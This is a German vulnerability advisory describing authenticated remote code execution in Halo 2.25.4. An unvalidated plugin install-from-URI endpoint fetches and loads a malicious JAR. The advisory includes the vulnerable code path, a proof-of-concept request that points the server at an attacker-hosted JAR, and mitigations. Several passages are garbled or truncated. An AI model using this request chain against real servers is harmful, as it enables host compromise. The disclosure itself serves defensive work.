
Demonstriert eine authentifizierte Remote-Codeausführungs-Schwachstelle in Halo 2.25.4 über eine unvalidierte Plugin-URI-Installation, einschließlich technischer Analyse und Proof-of-Concept-Exploit.
Eine kritische Sicherheitslücke wurde in Halo Version 2.25.4 identifiziert. Die Anwendung stellt einen administrativen Endpunkt zur Installation oder Aktualisierung von Plugins über eine entfernte URI bereit. Das System validiert jedoch die Quelldomäne der URI nicht und verfügt über keinen Schutz gegen Server-Side Request Forgery (SSRF) für diese spezifische Komponente. Ein authentifizierter Angreifer mit Plugin-Verwaltungsrechten kann einen Link zu einer bösartig erstellten Plugin-JAR-Datei bereitstellen. Der Server lädt die JAR-Datei herunter, speichert sie temporär und lädt sie dynamisch in den JVM-Kontext unter Verwendung des PF4J-Frameworks und der DefaultPluginApplicationContextFactory von Spring. Dies ermöglicht die Ausführung nicht vertrauenswürdiger Erweiterungsklassen, was zu beliebiger Remote-Codeausführung (RCE) auf dem zugrunde liegenden Host-Betriebssystem führt.
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H)Bitte bei der Einreichung im CVE-Formular mit Kommas trennen:
Plaintext
PluginEndpoint.java, installFromUri method, DefaultPluginApplicationContextFactory
Ein authentifizierter Administrator kann eine manipulierte HTTP-POST-Anfrage mit einer bösartigen Remote-Plugin-JAR-URL an den Endpunkt /apis/api.console.halo.run/v1alpha1/plugins/-/install-from-uri senden.
Die Remote-Codeausführung erfolgt über die folgende Abfolge von Operationen:
PluginEndpoint.installFromUri() verarbeitet den eingehenden Anfragetext (InstallFromUriRequest) und extrahiert die vom Benutzer bereitgestellte uri-Zeichenfolge. Es wird keine Domänen-Whitelist-Filterung angewendet.DefaultReactiveUrlDataBufferFetcher.fetch(uri) übergeben. Im Gegensatz zu anderen internen Netzwerkkomponenten in Halo ruft dieser Fetcher nicht HttpSecurityUtils.secureHttpClient() auf und überspringt damit die Einschränkungen für interne private Netzwerke/Loopback-IPs (SSRF-Schutz).writeToTempFile(content) in ein lokales temporäres Verzeichnis auf dem Host-Server geschrieben.pluginService.install(path), das den PF4J-JarPluginLoader verwendet, um die JAR-Datei zu entpacken und zu laden.DefaultPluginApplicationContextFactory von Spring automatisch die Metadaten in der plugin.yaml des Plugins und registriert alle deklarierten Erweiterungsklassen als aktive Spring-Beans im Anwendungskontext.static {}) der Erweiterungsklasse oder in mit @PostConstruct annotierten Methodenblöcken platziert ist, wird sofort während der Instanzerstellung über Runtime.getRuntime().exec() ausgeführt.PluginEndpoint.java Zeilen 422-428):Java
var content = request.bodyToMono(InstallFromUriRequest.class)
.map(InstallFromUriRequest::uri)
.flatMapMany(reactiveUrlDataBufferFetcher::fetch); // Unvalidated network fetch
return Mono.usingWhen(writeToTempFile(content), pluginService::install, this::deleteFileIfExists);
Der Angreifer kompiliert eine standardmäßige PF4J/Halo-Plugin-JAR-Datei (poc-plugin.jar), die eine Erweiterungsklasse mit einem Payload-Ausführungsmechanismus in einem @PostConstruct-Lebenszyklus-Hook oder statischen Block enthält. Der Angreifer hostet sie auf einem externen Listener:
Bash
python3 -m http.server 9999
Der authentifizierte administrative Benutzer sendet die folgende HTTP-Anfrage an den Ziel-Halo-Server:
HTTP
POST /apis/api.console.halo.run/v1alpha1/plugins/-/install-from-uri HTTP/1.1
Host: <target-ip>:8090
Authorization: Bearer <ADMIN_TOKEN_HERE>
Content-Type: application/json
{
"uri": "http://<attacker-ip>:9999/poc-plugin.jar"
}
Der Server verarbeitet die Installation, ruft das Artefakt vom Server des Angreifers ab, registriert die Erweiterung und führt den kompilierten Systembefehl aus, wodurch der Ziel-Host kompromittiert wird.


application.yaml) und gespeicherten Dateien.uri-Argument durchsetzen. Remote-Installationsschemata auf verifizierte, vertrauenswürdige offizielle Ökosystem-Marktplätze beschränken (z. B. https://awesome.halo.run).DefaultReactiveUrlDataBufferFetcher umgestalten, um das vorhandene Dienstprogramm HttpSecurityUtils.secureHttpClient() zu verwenden, um Anfragen an Loopback (127.0.0.1), Link-Local (169.254.169.254) oder private Klassennetzwerke (10.0.0.0/8, 192.168.0.0/16) zu verwerfen.JarPluginLoader-Kontext sollte Datei-Hashes oder kryptografische Signaturen gegen öffentliche Schlüssel validieren, die vom offiziellen Repository bereitgestellt werden, bevor sie zur Kontextinstanziierung an die DefaultPluginApplicationContextFactory übergeben werden.